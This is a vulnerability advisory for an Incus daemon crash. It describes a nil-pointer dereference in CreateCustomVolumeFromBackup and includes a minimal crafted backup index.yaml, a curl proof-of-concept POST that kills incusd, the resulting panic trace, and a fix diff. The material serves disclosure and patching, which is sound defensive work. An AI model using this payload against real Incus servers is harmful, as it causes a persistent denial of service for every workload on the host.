CVE-2026-48756: Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)

Summary

(backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with cancreatestoragevolumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volumesnapshots[].expiresat field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

go // Line 7710-7714 — the parent fix from GHSA-r7w7 for , s := range srcBackup.Config.VolumeSnapshots { if s == nil { return errors.New("Bad snapshot definition found in index") } snapshot := s snapName := snapshot.Name // ... // Line 7731 — UNGUARDED time.Time deref: err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapshot.ExpiresAt, // <-- panics when expiresat omitted in YAML snapVol.ContentType(), true, true)

ExpiresAt is declared time.Time (shared/api/storagepoolvolumesnapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

| Line | Code | Guarded? | |------|------|----------| | 909-910 | CreateInstanceFromBackup | YES | | 1134-1135 | refresh path | YES | | 1422-1423 | migration path | YES | | 7731 | CreateCustomVolumeFromBackup | NO |

Reach

1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the cancreatestoragevolumes entitlement on any project. Same auth gate as parent GHSA-r7w7. 2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>. 3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volumesnapshots: [{name: snap0}] (no expiresat field). 4. cmd/incusd/storagevolumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> snapshot.ExpiresAt on line 7731 panics on the nil time.Time. 5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

yaml name: poc-vol backend: dir pool: default type: custom optimized: false optimizedheader: false snapshots: [snap0] config: volume: {name: poc-vol, type: custom, contenttype: filesystem, config: {}} volumesnapshots: - name: snap0 description: snap0 config: {} # expiresat intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: makebackup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

bash $ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ --data-binary @/tmp/poc-vol.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-Incus-name: poc-vol' \ http://incus/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","statuscode":100,...}

$ ps -ef | grep incusd | grep -v grep # process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]: github.com/lxc/incus/v7/internal/server/storage.(backend).CreateCustomVolumeFromBackup(...) /build/incus/internal/server/storage/backend.go:7731 +0xb48 main.createStoragePoolVolumeFromBackup.func7(...) /build/incus/cmd/incusd/storagevolumes.go:2915 +0x290 github.com/lxc/incus/v7/internal/server/operations.(Operation).Start.func1(...) /build/incus/internal/server/operations/operations.go:307 +0x2c created by github.com/lxc/incus/v7/internal/server/operations.(Operation).Start in goroutine 408 /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

- Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with cancreatestoragevolumes on any project. Not behind the admin tier. - Network attack surface: the Incus REST API on :8443 or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

diff --- a/internal/server/storage/backend.go +++ b/internal/server/storage/backend.go @@ -7728,9 +7728,14 @@ func (b backend) CreateCustomVolumeFromBackup(...) error { snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

// Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). - err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapshot.ExpiresAt, snapVol.ContentType(), true, true) + var snapExpiryDate time.Time + if snapshot.ExpiresAt != nil { + snapExpiryDate = snapshot.ExpiresAt + } + + err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true) if err != nil { return err }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.